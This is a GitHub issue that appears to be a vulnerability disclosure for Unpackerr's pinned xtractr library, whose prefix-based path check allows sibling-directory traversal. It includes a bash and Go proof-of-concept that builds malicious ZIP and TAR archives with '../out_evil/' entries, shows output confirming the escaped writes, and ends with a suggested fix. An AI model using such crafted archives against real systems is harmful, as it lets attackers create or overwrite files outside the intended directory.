-
Notifications
You must be signed in to change notification settings - Fork 49
Unpackerr pinned xtractr prefix boundary bypass #641
Description
Unpackerr pinned xtractr prefix boundary bypass
Summary
Current Unpackerr still pins golift.io/xtractr v0.3.2, whose ZIP and TAR extractors use strings.HasPrefix(cleanPath, OutputDir) after joining archive names to the output root.
Details
I reproduced this against the tested upstream commit. Tested commit:
63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd (2026年06月14日T21:29:40-07:00)
Relevant code path:
unpackerr/go.modlines20-26: unpackerr currently depends on golift.io/xtractr v0.3.2 for archive extraction.files.golines794-805: xtractr.clean() builds the destination path with filepath.Clean(filepath.Join(OutputDir, filePath)).zip.golines98-105: ZIP extraction accepts a path when strings.HasPrefix(cleanPath, OutputDir) succeeds, which is vulnerable to sibling-prefix bypass.
Root cause:
unpackerr pins golift.io/xtractr v0.3.2. In that version, xtractr computes the output path with filepath.Clean(filepath.Join(OutputDir, entryName)) and then validates it with strings.HasPrefix(cleanPath, OutputDir). This comparison is not separator-aware, so names like '../out_evil/escaped.txt' resolve to a sibling path such as '/.../out_evil/escaped.txt' that still begins with the string '/.../out'.
Related CVE reference: this is the same kind of bug as CVE-2024-12718 in python/cpython.
Reproduction
The following script fresh-clones Unpackerr, checks out the tested commit, adds a temporary Go test inside pkg/unpackerr, and calls the exact pinned xtractr ExtractZIP() and ExtractTar() APIs.
#!/usr/bin/env bash set -euo pipefail UNPACKERR_COMMIT="63dfd08d2d0bda3d59d92eb9778e2ccf59207bdd" workdir="$(mktemp -d)" cleanup() { set +e chmod -R u+w "$workdir" 2>/dev/null || true rm -rf "$workdir" } trap cleanup EXIT git clone --quiet https://github.com/Unpackerr/unpackerr.git "$workdir/unpackerr" cd "$workdir/unpackerr" git checkout --quiet "$UNPACKERR_COMMIT" cat > pkg/unpackerr/xtractr_prefix_boundary_test.go <<'GO' package unpackerr import ( "archive/tar" "archive/zip" "bytes" "os" "path/filepath" "testing" "golift.io/xtractr" ) func writeZipWithTraversal(t *testing.T, path string) { t.Helper() var buf bytes.Buffer zw := zip.NewWriter(&buf) w, err := zw.Create("../out_evil/escaped_zip.txt") if err != nil { t.Fatal(err) } if _, err := w.Write([]byte("UNPACKERR-ZIP-PREFIX-BYPASS")); err != nil { t.Fatal(err) } if err := zw.Close(); err != nil { t.Fatal(err) } if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil { t.Fatal(err) } } func writeTarWithTraversal(t *testing.T, path string) { t.Helper() var buf bytes.Buffer tw := tar.NewWriter(&buf) payload := []byte("UNPACKERR-TAR-PREFIX-BYPASS") if err := tw.WriteHeader(&tar.Header{Name: "../out_evil/escaped_tar.txt", Mode: 0644, Size: int64(len(payload))}); err != nil { t.Fatal(err) } if _, err := tw.Write(payload); err != nil { t.Fatal(err) } if err := tw.Close(); err != nil { t.Fatal(err) } if err := os.WriteFile(path, buf.Bytes(), 0644); err != nil { t.Fatal(err) } } func TestCurrentPinnedXtractrPrefixBoundaryBypass(t *testing.T) { base := t.TempDir() out := filepath.Join(base, "out") if err := os.MkdirAll(out, 0755); err != nil { t.Fatal(err) } zipPath := filepath.Join(base, "malicious.zip") tarPath := filepath.Join(base, "malicious.tar") writeZipWithTraversal(t, zipPath) writeTarWithTraversal(t, tarPath) _, _, zipErr := xtractr.ExtractZIP(&xtractr.XFile{FilePath: zipPath, OutputDir: out, FileMode: 0644, DirMode: 0755}) _, _, tarErr := xtractr.ExtractTar(&xtractr.XFile{FilePath: tarPath, OutputDir: out, FileMode: 0644, DirMode: 0755}) zipEscaped := filepath.Join(base, "out_evil", "escaped_zip.txt") tarEscaped := filepath.Join(base, "out_evil", "escaped_tar.txt") zipData, zipReadErr := os.ReadFile(zipEscaped) tarData, tarReadErr := os.ReadFile(tarEscaped) t.Logf("OUTPUT_DIR=%s", out) t.Logf("ZIP_ERR=%v", zipErr) t.Logf("ZIP_ESCAPED=%s", zipEscaped) t.Logf("ZIP_ESCAPED_EXISTS=%t", zipReadErr == nil) t.Logf("ZIP_ESCAPED_CONTENT=%s", string(zipData)) t.Logf("TAR_ERR=%v", tarErr) t.Logf("TAR_ESCAPED=%s", tarEscaped) t.Logf("TAR_ESCAPED_EXISTS=%t", tarReadErr == nil) t.Logf("TAR_ESCAPED_CONTENT=%s", string(tarData)) if zipErr != nil || tarErr != nil { t.Fatalf("expected current pinned xtractr extraction to accept sibling-prefix traversal, got zip=%v tar=%v", zipErr, tarErr) } if string(zipData) != "UNPACKERR-ZIP-PREFIX-BYPASS" || string(tarData) != "UNPACKERR-TAR-PREFIX-BYPASS" { t.Fatalf("expected escaped files to be written outside output dir") } } GO go test ./pkg/unpackerr -run TestCurrentPinnedXtractrPrefixBoundaryBypass -count=1 -v
Observed result:
=== RUN TestCurrentPinnedXtractrPrefixBoundaryBypass
xtractr_prefix_boundary_test.go:73: ZIP_ERR=<nil>
xtractr_prefix_boundary_test.go:75: ZIP_ESCAPED_EXISTS=true
xtractr_prefix_boundary_test.go:76: ZIP_ESCAPED_CONTENT=UNPACKERR-ZIP-PREFIX-BYPASS
xtractr_prefix_boundary_test.go:77: TAR_ERR=<nil>
xtractr_prefix_boundary_test.go:79: TAR_ESCAPED_EXISTS=true
xtractr_prefix_boundary_test.go:80: TAR_ESCAPED_CONTENT=UNPACKERR-TAR-PREFIX-BYPASS
--- PASS: TestCurrentPinnedXtractrPrefixBoundaryBypass
PASS
Expected Behavior
Untrusted paths, archive entries, and link targets should be normalized and verified to stay inside the intended root before any file is read, written, moved, loaded, or executed.
Observed Behavior
Both ExtractZIP() and ExtractTar() succeed and write files into the sibling out_evil directory outside OutputDir.
Impact
A malicious archive processed through unpackerr's pinned extraction stack can create or overwrite files outside the intended extraction directory via sibling-prefix traversal.
Suggested Fix Direction
- Update unpackerr to a fixed xtractr release once the path containment check is changed to a separator-aware resolved-path comparison.
- Until then, patch the bundled extraction path validation to compare canonicalized paths with a trailing separator or path-component-aware containment test.
- Add unpackerr regression coverage that exercises ZIP and TAR entries like '../out_evil/escaped.txt' through the exact extraction path used in production.